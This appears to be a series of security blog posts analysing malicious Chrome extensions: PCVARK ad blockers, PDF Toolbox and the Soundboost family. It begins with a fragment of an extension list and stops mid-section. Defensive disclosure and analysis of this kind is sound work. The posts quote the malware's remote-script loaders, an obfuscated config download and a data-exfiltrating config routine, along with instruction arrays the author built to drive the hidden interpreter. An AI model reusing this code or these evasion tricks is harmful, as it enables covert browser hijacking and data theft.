Text Reader (Text to Speech) TTS by Read me 312,121 npdkkcjlmhcnnaoobfdjndibfkkhhdfn All websiteswebRequest
uTab - Unlimited Custom Dashboard 234,918 npmjjkphdlmbeidbdbfefgedondknlaf All websitesbookmarks
Flash Player Update 497,248 oakbcaafbicdddpdlhbchhpblmhefngh All websitesunsafe-eval
Web paint tool by Painty 432,129 obdhcplpbliifflekgclobogbdliddjd All websitestabstopSites
Night Shift 213,620 ocginjipilabheemhfbedijlhajbcabh All websites
Editing for Docs, Sheets & Slides 167,677 oepjogknopbbibcjcojmedaepolkghpb All websiteswebRequestunsafe-eval
Accept all cookies 292,192 ofpnikijgfhlmmjlpkfaifhhdonchhoi All websiteswebRequest
VolumeUp - Sound booster 731,585 ogadflejmplcdhcldlloonbiekhnlopp All websitestabCapturetabs
The cleaner - delete cookies and cache 133,968 ogfjgagnmkiigilnoiabkbbajinanlbn All websitescookiestabswebRequest
Screenshot & Screen Recorder 288,528 okkffdhbfplmbjblhgapnchjinanmnij All websitesdownloadstabCapturetabswebRequest
All Doodle games 134,820 oodkhhminilgphkdofffddlgopkgbgpm All websites
Super Mario Bros Game 163,597 pegfdldddiilihjahcpdehhhfcbibipg All websitesdeclarativeNetRequest
Custom Cursor for Chrome 785,639 phfkifnjcmdcmljnnablahicoabkokbg All websitestabs
Text mode for websites - Readbee 451,865 phjbepamfhjgjdgmbhmfflhnlohldchb All websites
Dark Mode - Dark Reader for Сhrome 4,557,935 pjbgfifennfhnbkhoidkdchbflppjncb All websitestabswebRequest
Sound Booster - Boost My Bass 124,554 plmlopfeeobajiecodiggabcihohcnge All websitestabCapturetabs
Sound Booster 144,170 pmilcmjbofinpnbnpanpdadijibcgifc All websitestabCapturetabs
Screen Capture - Screenshot Tool 748,022 pmnphobdokkajkpbkajlaiooipfcpgio All websitesdownloadstabsunsafe-eval
Picture-in-Picture - floating video 706,151 pnanegnllonoiklmmlegcaajoicfifcm All websitestabsunsafe-eval
Save quickly and repost 918,667 pnlphjjfielecalmmjjdhjjninkbjdod All websitescookiesdownloadstabswebRequest
History & Cache Cleaner - Smart Clean 277,722 pooaemmkohlphkekccfajnbcokjlbehk All websitescookiestabswebRequest

It isn’t news that the overwhelming majority of ad blockers in Chrome Web Store is either outright malicious or waiting to accumulate users before turning malicious. So it wasn’t a surprise that the very first ad blocker I chose semi-randomly (Adblock Web with 700,000 users) turned out malicious. Starting from it, I found another malicious extension (Ad-Blocker, 700,000 users) and two more that have been removed from Chrome Web Store a year ago (BitSafe Adblocker and Adblocker Unlimited).
All these ad blockers and probably some more were developed by the company PCVARK. According to Malwarebytes Labs, this company specializes in developing “potentially unwanted programs.” In other words: they show users warnings about alleged compromise, only to push them into installing their software. Once installed, this software will attempt to scare the user into installing more crappy applications and into paying money for fixing the supposed issue. While PCVARK originally specialized in Mac software, they apparently also discovered pushing malicious ad blockers to Chrome Web Store as a valuable business opportunity. This was encouraged by Google’s lax moderation policies as well an almost complete lack of policy enforcement. While Google eventually managed to remove some extensions, at least two remain despite being obviously related to the removed ones. Contents Who is PCVARK? Why are there so many malicious ad blockers? Showcasing Ad-Blocker The exclusion list Giving a remote server full control over the extension Giving a remote server full control over visited websites The “neg bar” The “privacy policy” Showcasing Adblock Web Giving a remote server full control over visited websites Extracting user’s browsing history The privacy policy Conclusions
Who is PCVARK? If you open PCVARK website today, you will see offers for Android applications: MobiClean, which supposedly makes your phone faster, and VOOHOO live, a conferencing platform. The former has already been removed from Play Store. And if I were you, I definitely wouldn’t install the latter. Back in the day, PCVARK was a notorious distributor of dubious Mac software. Their “Mac File Opener” is discussed extensively in a Malwarebytes Labs article, with the conclusion that it should be classified as malware. It was one of the ways in which users were scammed into installing other PCVARK applications. One such application is described by Malwarebytes as follows: PUP.Advanced Mac Cleaner is a system optimizer. These so-called “system optimizers” use intentional false positives to convince users that their systems have problems. Then they try to sell you their software, claiming it will remove these problems. If you look at an archived version of their website however, by 2017 PCVARK already switched to promoting their Ad-Blocker browser extension prominently on their website. So one can be certain that this extension became a major contributing factor to the company’s revenue. All the more surprising is the fact that Google will still distribute it in the Chrome Web Store. Why are there so many malicious ad blockers? If you search for an ad blocker in Chrome Web Store, you will find literally hundreds of browser extensions. Very few of those are legitimate, to my knowledge: AdBlock, Adblock Plus, AdGuard, uBlock, uBlock Origin. The rest of them typically attempt to attract users with misleadingly similar names and logos. Quite a few were already discovered to be malicious [1] [2], others will likely turn malicious once a sufficient user count is reached. There is a number of factors contributing to this proliferation of malicious ad blockers: Ad blockers are an immensely popular browser extension category, with lots of users wanting to install one. There is already considerable confusion about the “right” ad blocker, even if you look only at the legitimate ones: is it AdBlock or Adblock Plus? uBlock or uBlock Origin? With Adblock Plus, AdGuard and uBlock Origin, there are three high quality open source products than anyone can easily copy to create “their” ad blocker. Ad blockers require access to every website in order to do their job, so they will necessarily have wide-reaching privileges. That’s ideal if one wants to abuse privileges. Google has traditionally refused to moderate extensions that attempt to hijack the popularity of established brands, taking years to remove even cases of outright trademark violations. Google has also been very reluctant to enforce their policies against malicious extensions. Even if a report were acted upon, Google would never search for similar malicious extensions on their own. Google certainly is aware of this. And if security of their users were a priority, they would be keeping a close eye on these ad blockers. The fact that the Ad-Blocker extension could stay in the Chrome Web Store for more than five years while being very obviously malicious has two possible explanations. Either Google simply doesn’t care, or Chrome Web Store is so understaffed that not even the obvious cases can be caught. Showcasing Ad-Blocker This will get technical now. If that’s not what you are looking for, feel free to jump straight to conclusions. Like all ad blockers produced by PCVARK, Ad-Blocker is based on an ancient version of Adblock Plus code, pulled somewhere around 2016. With its latest release being already five years old, it is also very close to the original Adblock Plus code. And it isn’t exactly subtle about what it is up to. The additions to the Adblock Plus code stick out, and there is no obfuscation – the code hasn’t even been minified. Even some code comments in Hindi are still there. The exclusion list The extension contains a hardcoded “exclusion list” which it will update regularly by downloading http://pro.ad-blocker.org/Json/ExclusionList.txt. This list currently contains 1647 domains.
Most of these domains are no longer active. Judging by the names however, these domains used to promote PCVARK’s applications. Obviously, PCVARK wouldn’t want to block any ads on these websites. So their ad blocker extensions disable themselves on those, without any way for the user to override that. Giving a remote server full control over the extension Normally, extension pages can only run code contained within the extension itself. This is ensured by the default Content Security Policy applying to these pages. Extensions can choose to relax this protection however. As does the Ad-Blocker extension: "content_security_policy": "script-src 'self' https://negbar.ad-blocker.org/ https://ssl.google-analytics.com; object-src 'self'", This loophole is used by a script called GlobalNotifierStats.js which is part of the extension’s background page: var mf = document.createElement("script"); //mf.type = "text/javascript"; mf.async = true; mf.src = "https://negbar.ad-blocker.org/chrome/adblocker-chromeimportstats.js"; document.getElementsByTagName("head")[0].appendChild(mf); So this loads the script https://negbar.ad-blocker.org/chrome/adblocker-chromeimportstats.js into the extension’s background page, essentially giving it access to all the extension privileges. For reference: the extension has access to each an every website, it can potentially watch over your shoulder as you browse the web, steal information as you enter it or modify website responses in any way it likes. At the moment, this remote script will merely load Google Analytics for me. It can change any moment however, for all extension users or only the selected few. Which is why Chrome Web Store policy says: Your extension should avoid using remote code except where absolutely necessary. Well, using Google Analytics can definitely be done without using remote code, in particular without using code from the extensions’s web server as an intermediate. The policy further says: Remote Code: Use this field to tell reviewers whether your extension executes remote code and, if so, why this is necessary. I wonder whether the developers of Ad-Blocker declared using remote code and, if they did, how they justified that. No, I don’t think they did. The policy also says: Extensions that use remote code will need extra scrutiny, resulting in longer review times. No, I sincerely doubt that any amount of scrutiny was ever spent on this extension. As I said, it isn’t exactly subtle about what it does. Giving a remote server full control over visited websites The extension also has a very similar script called GlobalInjectJS.js which runs as a content script in each visited web page: var mf = document.createElement("script"); //mf.type = "text/javascript"; mf.async = true; mf.src = "https://negbar.ad-blocker.org/chrome/adblocker-chromeglobalinjectjs.js"; document.getElementsByTagName("head")[0].appendChild(mf); So this loads the script https://negbar.ad-blocker.org/chrome/adblocker-chromeglobalinjectjs.js into each website you visit. Currently, this script is empty for me. But even this way, the Referer HTTP header sent along with the script request tells the server which website the user visited. So the negbar.ad-blocker.org web server can collect users’ browsing profiles just nicely. Of course, it’s the same here: this script doesn’t have to stay empty. In fact, this functionality certainly wasn’t added only to load an empty script. It can start serving some malicious code any time, for all extension users or only the selected few. The “neg bar” Are you also wondering what negbar in the server’s name stands for? It seems to be misspelled, as an object in the extension’s source code called showNag shows. So this is actually about nagging the user. Nagging with what? This functionality is contained in another content script called showNeg.js. It downloads some data from https://negbar.ad-blocker.org/chrome/adblocker-chrome-shownegJson.txt. And then it uses a number of factors to decide whether it should display the frame indicated in this data to the user. The factors include not showing the message more than once per day and not injecting it into the extension’s own pages. Now the data is currently empty for me (something that can obviously change any time). Luckily, the developers left an unused showNeg() function in the code, featuring two default addresses for that “nag frame”: https://adblocker.pcvark.com/downloadProduct.html and https://apmserv.pcvark.com/apm_html/v1_1/detectuserapm.html. The latter even still exists on the web:
Internet Archive shows that the former page was similar. The message however was: “Your identity is at risk. Download Advanced Password Manager to start safeguarding your identity.” The “Protect now” button would then start downloading a Windows executable. Various websites describe Advanced Password Manager as “potentially unwanted software” that is being distributed via deceptive methods. This article goes into more detail: once installed, Advanced Password Manager will perform a scan of the computer and “find” various identity traces. It will then urge you to purchase a premium license in order to remove them. This application is also reported to hijack browser settings such as home and new tab pages as well as the search engine. The “privacy policy” While Chrome Web Store usually requires extension developers to disclose information about their privacy practices (whether truthful or not), Ad-Blocker somehow got away without providing this information. There is only a link to a privacy policy, and it better be a good one given the level of access this extension gives its web server. Here it comes:
Yes, that privacy policy page is gone. The Internet Archive has a copy of it however. If you look through it, there is some information about the data collected by the website. It also says about the extension: It has been built on AdBlock Plus open source code and it maintains GPLv3 terms and conditions. Spoiler: No, it does not comply with GPLv3 terms and conditions. For that it would need to at least publish the extension’s source code. It also explains at great length how Ad-Blocker (meaning: PCVARK) is not liable for any damages it might cause. Only one thing is missing: what data the extension collects and how that data is used. If you go to an older version of the privacy policy from 2019, there is one more paragraph: If you add filter subscriptions to your Ad-Blocker installation, the subscription will be requested to regularly retrieve updates. Every update results in the hosting website receiving your IP address as well as some general information like your Ad-Blocker version, browser and browser version. This data is subject to the privacy policy of the website in question. That’s a verbatim copy from the Adblock Plus privacy policy. Yet Ad-Blocker is way more privacy-intrusive, and none of its data collection is explained. In fact, even that one small paragraph was apparently too much for PCVARK, so it got removed. Showcasing Adblock Web Unlike Ad-Blocker, Adblock Web is comparably recent with the latest release in December 2022. Its code is minified and further removed from the original Adblock Plus. One can see some effort to develop useful site blocking functionality on top of the original. I don’t want to comment on the quality of that implementation, so let’s just say: there are security vulnerabilities. There is still the same exclusion list however: 1647 PCVARK-owned domains where ads should never be blocked. And while the extension is supposedly being published by “uadblock Inc,” plenty of code details give it away as another PCVARK product. More than that: the websites used by the extension show that it is related to BitSafe Adblocker and Adblocker Unlimited. Both extensions were removed from Chrome Web Store a year ago (March and April 2022 respectively), their code closely resembled Adblock Web. Now one could expect that PCVARK published Adblock Web as a replacement for the extensions that were taken down by Google. This doesn’t appear to be the case however. The Adblock Web extension existed since at least 2021, so it was already in the Chrome Web Store when the takedown happened. There is exactly one explanation how Google could have missed Adblock Web when they took down the other extensions: they didn’t even look. Giving a remote server full control over visited websites Compared to Ad-Blocker, Adblock Web is rather subtle about its malicious functionality. It no longer relaxes the default Content Security Policy to load remote code into the extension, this would have been too suspicious. But it still has the capability to inject arbitrary JavaScript code into any website you visit. For that it loads its configuration from https://adblock-unlim.com/api/custom-rules/. If you think that “loads” here means XMLHttpRequest or something similar: no, that’s not it. It loads the page in a frame, sends it a message and parses the response as JSON. I can only imagine one reason for this complicated approach: if someone were to open this address in the browser manually, they would only see an unsuspicious blank page. A content script in the extension then contains the following code working with this configuration (unminified and minimally simplified here): ext.backgroundPage.sendMessage({ action: "get_qa_rules" }, function (config) { var dummy = null; var url = "https://adblock-unlim.com/qa_metric/?type=fail&fr="; var dummy2 = 0; const fallbackUrl = chrome.runtime.getURL("/libs/qa-params-v1.0.1.min.js"); try { if (!config) return; if (!config.traceUrl || !config.extStat) return; if (config.rAllow && !new RegExp(config.rAllow[0], config.rAllow[1]).test(location.href)) return; if (config.rDeny) { if (new RegExp(config.rDeny[0], config.rDeny[1]).test(location.href)) return; url = ""; if (config && config.qaParams) url = config.qaParams.failPrefix; } var now = performance.now(); config.traceUrl; var script = document.createElement("script"); script.type = "text/javascript"; script.async = true; script.src = url ? url + "?fr=" + dummy : (fallbackUrl.match(/^///) && e.location.protocol, fallbackUrl); document.body.appendChild(script); } catch (error) { if (url.match("^https?://")) fetch(url + "?ts=" + now + "&te=" + dummy2 + "&ts=" + data.timestamp + "&d=" + location.host + "&fr" + error.message); } }); Note how the fallbacks here aren’t actually designed to run. The constant fallbackUrl will never be used because e.location.protocol will throw: e is not defined. Similarly with the catch block: data.timestamp will throw because data is not defined. So all these dummy variables never assigned a value are only meant to make this look more like legitimate code. Same with calling performance.now(), the result of a single call is meaningless even if it were used. Note also that this will only run if the config contains traceUrl and extStat values, yet these values are not actually being used. That’s another detail meant to make this look like some code collecting harmless performance data. In reality these are merely flags activating this functionality. Note how the URL is supposedly some failure reporting, yet it will be loaded unconditionally if the page address passes rAllow and rDeny checks. Note also that the script URL will always be overwritten if the rDeny regular expression is provided, even if it doesn’t match the current page – logic that doesn’t make any sense. Finally, the address loaded as script here will produce a PNG image for me. This is again meant to reinforce the impression that this is a mere tracking pixel. Yet nobody would load a tracking pixel as a script, that’s what tags are good for. And if everything else fails, the developers are clearly aware of the fetch() function. The obvious conclusion is: this is no QA functionality as it claims to be. The purpose of this code is injecting a remote script into all visited web pages, as soon as the extension receives a configuration enabling this functionality. Extracting user’s browsing history An interesting piece of Adblock Web functionality is its list of “supported” domains that it will regularly download from https://adblock-unlim.com/api/domains/ (same frame messaging approach as above). It seems to make little sense: this is an ad blocker, all domains are supported. There are some hints towards this functionality being meant for video ad blocking, yet that’s a red herring. The extension contains no explicit video ad blocking functionality, and even if it did: calling isSupportedDomain to determine which extension icon to show on a site still makes no sense. So it doesn’t come as a real surprise that all occasions where this list of “supported” domains is used turn out to be no-ops or dead code. In the end, this is only really used to decide whether loadEasyListForDomain() should be called. If that check succeeds, the extension will make a request to an address like https://adblock-unlim.com/api/custom-easylist/?domain=youtube.com. If you expected some domain-specific filter rules in the response – nope, the response was always empty for me. Not that it matters because the extension ignores the response. And there is another indicator that this isn’t really about loading filter rules: this request is sent out delayed, five seconds after a tab loads. If this were about ad blocking functionality, this would be way too late. Instead, this is obviously about learning what websites the user visits. For me, the “supported” domains are four video websites. But this is likely yet another decoy, and the users targeted by this feature get a far more extensive list of domains that PCVARK is interested in. The privacy policy According to the privacy practices stated in the Chrome Web Store, Adblock Web developers declared that user’s data is: Not being used or transferred for purposes that are unrelated to the item’s core functionality Given the findings above, I dare to doubt that statement. But let’s have a look at their privacy policy. Unlike Ad-Blocker, Adblock Web actually has one. We want to make sure you are aware of our Chrome extension “AdBlocker Unlimited” so that you always see the whole picture of your interaction with us. Yes, the privacy policy consistently speaks of “AdBlocker Unlimited,” the extension removed from Chrome Web Store a year ago. Let’s ignore that and see what it has to say about data: AdBlocker Unlimited does not collect any personal information about you (such as your name, email address, etc.). Further, it does not collect or report back to us (or anyone else) any data regarding your computer keystrokes or other data unrelated to the services the Extension provides Well, bullshit. Conclusions As we’ve seen, PCVARK is unsurprisingly using their Chrome ad blockers to gain a foothold in your system. The older Ad-Blocker extension does it in more obvious ways, the newer Adblock Web is more subtle. In both cases it’s obvious however that this functionality has nothing to do with ad blocking and everything with granting PCVARK’s servers access to your browsing session. In the Ad-Blocker extension we’ve seen an example of how this power is used: to inject a message into legitimate web pages “warning” users about alleged risks and urging them to download PCVARK software. This software would then continue showing scary messages until the user payed up. This is certainly far from being the only way in which PCVARK monetizes users of their ad blockers. The Adblock Web extension shows that PCVARK is also interested in learning which websites you visit. It’s impossible to tell whether the idea here is creating and selling browsing profiles or “merely” learning more about the user to improve the targeting of their scary messages. In addition, all extensions give the PCVARK servers enormous privileges. I don’t know how these privileges are being used. In theory however, PCVARK could spy on the users as they browse the web, steal whatever data they enter on websites, and maybe even manipulate banking websites to reroute money transfers. There are numerous articles on the web demonstrating that PCVARK isn’t exactly what you would call an “ethical company.” While they themselves seem to consider their activities legal, it isn’t quite clear where they draw the boundary to illegality. It’s a shame that Google allows Chrome Web Store to be abused by such actors. Google definitely could have known what these extensions are doing, at the very least when the very similar BitSafe Adblocker and Adblocker Unlimited extensions were removed. Searching for similar software would be the obvious next step after such takedowns – I know for certain that Mozilla does it. Yet it would appear that Google does only the bare minimum to address concerns, and only if these concerns are voiced by someone with a significant reach.

Two days ago I wrote about the malicious extensions I discovered in Chrome Web Store. At some point this article got noticed by Avast. Once their team confirmed my findings, Google finally reacted and started removing these extensions. Out of the 34 extensions I reported, only 8 extensions remain. These eight were all part of an update where I added 16 extensions to my list, an update that came too late for Avast to notice. Note: Even for the removed extensions, it isn’t “mission accomplished” yet. Yes, the extensions can no longer be installed. However, the existing installations remain. From what I can tell, Google didn’t blocklist these extensions yet. Avast ran their own search, and they found a bunch of extensions that I didn’t see. So how come they missed eight extensions? The reason seems to be: these are considerably different. They migrated to Manifest V3, so they had to find new ways of running arbitrary code that wouldn’t attract unnecessary attention. Contents Which extensions is this about? Is it even the same malware? The “config” downloads Executing the instructions What is this being used for?
Which extensions is this about? The malicious extensions currently still in Chrome Web Store are: Name Weekly active users Extension ID Soundboost 6,925,522 chmfnmjfghjpdamlofhlonnnnokkpbao
Amazing Dark Mode 2,228,049 fbjfihoienmhbjflbobnmimfijpngkpa
Awesome Auto Refresh 2,222,284 djmpbcihmblfdlkcfncodakgopmpgpgh
Volume Frenzy 1,626,760 idgncaddojiejegdmkofblgplkgmeipk
Leap Video Downloader 1,454,917 bjlcpoknpgaoaollojjdnbdojdclidkh
Qspeed Video Speed Controller 732,250 pcjmcnhpobkjnhajhhleejfmpeoahclc
HyperVolume 592,479 hinhmojdkodmficpockledafoeodokmc
Light picture-in-picture 172,931 gcnceeflimggoamelclcbhcdggcmnglm Is it even the same malware? I found this latest variant of the malicious code thanks to Lukas Andersson who researched reputation manipulation in Chrome Web Store. He shared with me a list of extensions that manipulated reviews similarly to the extensions I already discovered. Some of these extensions in fact turned out malicious, with a bunch using malicious code that I didn’t see before. But this isn’t evidence that all these extensions are in fact related. And the new variant even communicates with tryimv3srvsts[.]com instead of serasearchtop[.]com. So how can I be certain that it is the same malware? The obfuscation approach gives it away however: lots of unnecessary conditional statements, useless variables and strings being pieced together. It’s exactly the same thing as I described for the PDF Toolbox extension already. Also, there is this familiar mangled timestamp meant to prevent config downloads in the first 24 hours after installation. It merely moved: localStorage is no longer usable with Manifest V3, so the timestamp is being stored in storage.local. The code once against masquerades as part of a legitimate library. This time, it has been added to the parser module of the Datejs library. The “config” downloads The approach to downloading the instructions changed considerably however. I’ll use Soundboost extension as my example, given that it is by far the most popular. When downloading the “config” file, Soundboost might also upload data. With obfuscation removed, the code looks roughly like this: async function getConfig() { let config = (await chrome.storage.local.get("")).; let options; if (config) { options = { method: "POST", body: JSON.stringify(config) }; } else { config = {}; options = { method: "GET" }; } let response = await fetch( "https://tryimv3srvsts.com/chmfnmjfghjpdamlofhlonnnnokkpbao", options ); let json = await response.json(); Object.assign(config, json); if (config.l) chrome.storage.local.set({: config}); return config.l; } So the extension will retrieve the config from storage.local, send it to the server, merge it with the response and write it back to storage.local. But what’s the point of sending a config to the server that has been previously received from it? I can see only one answer: by the time the config is sent to the server, additional data will be added to it. So this is a data collection and exfiltration mechanism: the instructions in config.l, when executed by the extension, will collect data and store it in the storage.local entry. And next time the extension starts up this data will be sent to the server. This impression is further reinforced by the fact that the extension will reload itself every 12 hours. This makes sure that accumulated data will always be sent out after this time period, even if the user never closes their browser. Executing the instructions Previously, Chrome extensions could always run arbitrary JavaScript code as content scripts. As this is a major source of security vulnerabilities, Manifest V3 disallowed that. Now running dynamic code is only possible by relaxing default Content Security Policy restrictions. But that would raise suspicions, so malicious extensions would like to avoid it of course. With sufficient determination, such restrictions can always be worked around however. For example, the Honey extension chose to ship an entire JavaScript interpreter with it. This allowed it to download and run JavaScript code without it being subject to the browser’s security mechanisms. The company was apparently so successful extracting data in this way that PayPal bought it for $4 billion. A JavaScript interpreter is lots of code however. There are indications that the malicious code in Soundboost is being obfuscated manually, something that doesn’t work with large code quantities. So the instruction processing in Soundboost is a much smaller interpreter, one that supports only 8 possible actions. This minimalistic approach is sufficient to do considerable damage. The interpreter works on arrays representing expressions, with the first array element indicating the type of the expression and the rest of them being used as parameters. Typically, these parameters will themselves be recursively resolved as expressions. Non-array expressions are left unchanged. I tried out a bunch of instructions just to see that this approach is sufficient to abuse just about any extension privileges. The following instructions will print a message to console: [ // Call console.log "@", [".", ["console"], "log"], // Verbatim call parameter "hi" ] The following calls chrome.tabs.update() to redirect the current browser tab to another page: [ // Call chrome.tabs.update "@", [".", [".", ["chrome"], "tabs"], "update"], // Verbatim call parameter {url: "https://example.com/"} ] The malicious code also likely wants to add a tabs.onUpdated listener. This turned out to be more complicated. Not because of the necessity of creating a callback, the interpreter has you covered with the "^" expressions there. However, function calls performed with this interpreter won’t pass in a this argument, and addListener method doesn’t like that. There might be multiple way to work around this issue, but the one I found was calling via Reflect.apply and passing in a this argument explicitly. This also requires calling Array constructor to create an array: [ // Call Reflect.apply "@", [".", ["Reflect"], "apply"], // target parameter: chrome.tabs.onUpdated.addListener [".", [".", [".", ["chrome"], "tabs"], "onUpdated"], "addListener"], // thisArgument parameter: chrome.tabs.onUpdated [".", [".", ["chrome"], "tabs"], "onUpdated"], // argumentsList parameter [ // Call Array constructor "@", ["Array"], // Array element parameter [ // Create closure "^", [ // Call console.log "@", [".", ["console"], "log"], // Pass in function arguments received by the closure ["#"] ] ] ] ] These instructions successfully log any tab change reported to the onUpdated listener. So this isn’t the most comfortable language to use, but with some tricks it can do pretty much anything. It also lacks flow control constructs other than try .. catch. Yet this is already sufficient to construct simple if blocks, triggering an exception to execute the else part. It should even be possible to emulate loops via recursive calls. What is this being used for? As with the other extensions, I haven’t actually seen the instructions that the extensions receive from their server. So I cannot know for certain what they do when activated. Reviews of older extensions report them redirecting Google searches to Bing, which is definitely something these newer extensions could do as well. As mentioned above however, the newer extensions clearly transmit data to their server. What kind of data? All of them have access to all websites, so it would be logical if they collected full browsing profiles. The older extensions likely did as well, but this isn’t something that users would easily notice. Quite remarkably, all the extensions also have the scripting permission which is unlikely to be a coincidence. This permission allows the use of the scripting.executeScript API, meaning running JavaScript code in the context of any website loaded in the browser. The catch however is: this API won’t run arbitrary code, only code that is already part of the extension. I’m not entirely certain what trick the extensions pull to work around this limitation, but they’ve certainly thought of something. Most likely, their trick involves loading background.js into pages – while this file is supposed to run as the extension’s background worker, it’s part of the extension and the scripting.executeScript API will allow using it. One indirect confirmation is the obfuscated code in background.js registering a listener for the message event, despite the fact that nothing should be able to send such messages as long as the script runs as background worker.

Two weeks ago I wrote about the PDF Toolbox extension containing obfuscated malicious code. Despite reporting the issue to Google via two different channels, the extension remains online. It even gained a considerable number of users after I published my article. A reader tipped me off however that the Zoom Plus extension also makes a request to serasearchtop[.]com. I checked it out and found two other versions of the same malicious code. And I found more extensions in Chrome Web Store which are using it. So now we are at 18 malicious extensions with a combined user count of 55 million. The most popular of these extensions are Autoskip for Youtube, Crystal Ad block and Brisk VPN: nine, six and five million users respectively. Contents The extensions The malicious code What does it actually do?
The extensions So far I could identify the following malicious extensions (user counts for 2023-05-30): Name Weekly active users Extension ID Autoskip for Youtube 9,008,298 lgjdgmdbfhobkdbcjnpnlmhnplnidkkp
Crystal Ad block 6,869,278 lklmhefoneonjalpjcnhaidnodopinib
Brisk VPN 5,595,420 ciifcakemmcbbdpmljdohdmbodagmela
Clipboard Helper 3,499,233 meljmedplehjlnnaempfdoecookjenph
Maxi Refresher 3,483,639 lipmdblppejomolopniipdjlpfjcojob
Quick Translation 2,797,773 lmcboojgmmaafdmgacncdpjnpnnhpmei
Easyview Reader view 2,786,137 icnekagcncdgpdnpoecofjinkplbnocm
PDF toolbox 2,782,790 bahogceckgcanpcoabcdgmoidngedmfo
Zoom Plus 2,370,645 ajneghihjbebmnljfhlpdmjjpifeaokc
Base Image Downloader 2,366,136 nadenkhojomjfdcppbhhncbfakfjiabp
Clickish fun cursors 2,353,436 pbdpfhmbdldfoioggnphkiocpidecmbp
Maximum Color Changer for Youtube 2,226,293 kjeffohcijbnlkgoaibmdcfconakaajm
Readl Reader mode 1,852,707 dppnhoaonckcimpejpjodcdoenfjleme
Image download center 1,493,741 deebfeldnfhemlnidojiiidadkgnglpi
Font Customizer 1,471,726 gfbgiekofllpkpaoadjhbbfnljbcimoh
Easy Undo Closed Tabs 1,460,691 pbebadpeajadcmaoofljnnfgofehnpeo
OneCleaner 1,457,548 pinnfpbpjancnbidnnhpemakncopaega
Repeat button 1,456,013 iicpikopjmmincpjkckdngpkmlcchold Note that this list is unlikely to be complete. It’s based on a sample of roughly a thousand extensions that I have locally, not all the Chrome Web Store contents. The malicious code There is a detailed discussion of the malicious code in my previous article. I couldn’t find any other extension using the same code as PDF Toolbox, but the two variants I discovered now are very similar. There are minor differences: First variant masquerades as Mozilla’s WebExtension browser API Polyfill. The “config” download address is https://serasearchtop.com/cfg//polyfill.json, and the mangled timestamp preventing downloads within the first 24 hours is localStorage.polyfill. The second variant masquerades as Day.js library. It downloads data from https://serasearchtop.com/cfg//locale.json and stores the mangled timestamp in localStorage.locale. Both variants keep the code of the original module, the malicious code has been added on top. The WebExtension Polyfill variant appears to be older: the extensions using it usually had their latest release end of 2021 or early in 2022. The extensions using the Day.js variant are newer, and the code has been obfuscated more thoroughly here. The extension logic remains exactly the same however. Its purpose is making two very specific function calls, from the look of it: chrome.tabs.onUpdated.addListener and chrome.tabs.executeScript. So these extensions are meant to inject some arbitrary JavaScript code into every website you visit. What does it actually do? As with PDF Toolbox, I cannot observe the malicious code in action. The configuration data produced by serasearchtop[.]com is always empty for me. Maybe it’s not currently active, maybe it only activates some time after installation, or maybe I have to be in a specific geographic region. Impossible to tell. So I went checking out what other people say. Many reviews for these extensions appear to be fake. There are also just as many reviews complaining about functional issues: people notice that these extensions aren’t really being developed. Finally, a bunch of Brisk VPN reviews mention the extension being malicious, sadly without explaining how they noticed. But I found my answer in the reviews for the Image Download Center extension:
So it would seem that at least back in 2021 (yes, almost two years ago) the monetization approach of this extension was redirecting search pages. I’m pretty certain that these users reported the extension back then, yet here we still are. Yes, I’ve never heard about the “Report abuse” link in Chrome Web Store producing any result. Maybe it is a fake form only meant to increase customer satisfaction? There is a similar two years old review on the OneCleaner extension:
Small correction: the website in question was actually called CharmSearching[.]com. If you search for it, you’ll find plenty discussions on how to remove malware from your computer. The domain is no longer active, but this likely merely means that they switched to a less known name. Like… well, maybe serasearchtop[.]com. No proof, but serasearchtop[.]com/search/?q=test redirects to Google. Mind you: just because these extensions monetized by redirecting search pages two years ago, it doesn’t mean that they still limit themselves to it now. There are way more dangerous things one can do with the power to inject arbitrary JavaScript code into each and every website.

The PDF Toolbox extension for Google Chrome has more than 2 million users and an average rating of 4,2 in the Chrome Web Store. So I was rather surprised to discover obfuscated code in it that has apparently gone unnoticed for at least a year. The code has been made to look like a legitimate extension API wrapper, merely with some convoluted logic on top. It takes a closer look to recognize unexpected functionality here, and quite some more effort to understand what it is doing. This code allows serasearchtop[.]com website to inject arbitrary JavaScript code into all websites you visit. While it is impossible for me to tell what this is being used for, the most likely use is injecting ads. More nefarious uses are also possible however. Contents What PDF Toolbox does The “config” file Detection prevention The “wrapper” What’s the goal?
What PDF Toolbox does The functionality of the PDF Toolbox extension is mostly simple. You click the extension icon and get your options:
Clicking any of the options opens a new browser tab with the actual functionality. Here you can select the files and do something with them. Most operations are done locally using the pdf-lib module. Only converting Office documents will upload the file to a web server. And a regular website could do all of this in exactly the same way. In fact, plenty of such websites already exist. So I suspect that the option to download PDFs only exists to justify both this being a browser extension and requiring wide-reaching privileges. See, in order to check all your tabs for downloadable PDFs this extension requires access to each and every website. A much more obvious extension design would have been: don’t bother with all tabs, check only the current tab when the extension icon is clicked. After all, people rarely trigger an extension because of some long forgotten tab from a week ago. But that would have been doable with a far less powerful activeTab permission. While Chrome Web Store requires extension developers not to declare unnecessary permissions, this policy doesn’t seem to be consistently enforced. This extension also requests access to detailed browser tabs information and downloads, but it doesn’t use either. The “config” file So all of the extension functionality is contained in the browser action pop-up and the page opening in a new tab. But it still has a background page which, from the look of it, doesn’t do much: it runs Google Analytics and sets the welcome and uninstall page. This is standard functionality found in some other extensions as well. It seems to be part of the monetization policy: the pages come from ladnet.co and display ads below the actual message, prompting you to install some other browser extensions. The module called then-chrome is unusual however. It in turn loads a module named api, and the whole thing looks like wrapping the extension APIs similarly to Mozilla’s WebExtension API polyfill. Which would have been slightly more convincing if there were anything actually using the result. The api module contains the following code: var Iv = TL ? "http" + ff + "//s" + qc + "a" + fx + "ar" + document.location.protocol.substring(0, 2) + (ad ? "to" : ad) + so + "c" + document.location.protocol.substring(3, 5) + "/cf" + Sr : qB; let oe = Iv; oe += bo + (Ua + "fg.") + qB + document.location.protocol.substring(14, 16); Weird, right? There are all these inline conditionals that don’t do anything other than obfuscating the logic. TL gets document assigned to it, ad gets chrome.runtime as its value – there is no way any of these might be missing. This is in fact a very convoluted way of constructing a constant string: https://serasearchtop.com/cfg/bahogceckgcanpcoabcdgmoidngedmfo/cfg.json. As the next step the extension calls window.fetch() in order to download this file: const ax = await window["fet" + document.location.protocol.substring(0, 2)](oe); if (ax.ok) { const rd = await ax.json(); (0, af.wrapObject)(chrome, rd) } Calling wrapObject with chrome as first parameter makes the impression that this were some harmless configuration data used to wrap extension APIs. The fact that the developers spent so much effort to obfuscate the address and the downloading tells otherwise however. Detection prevention 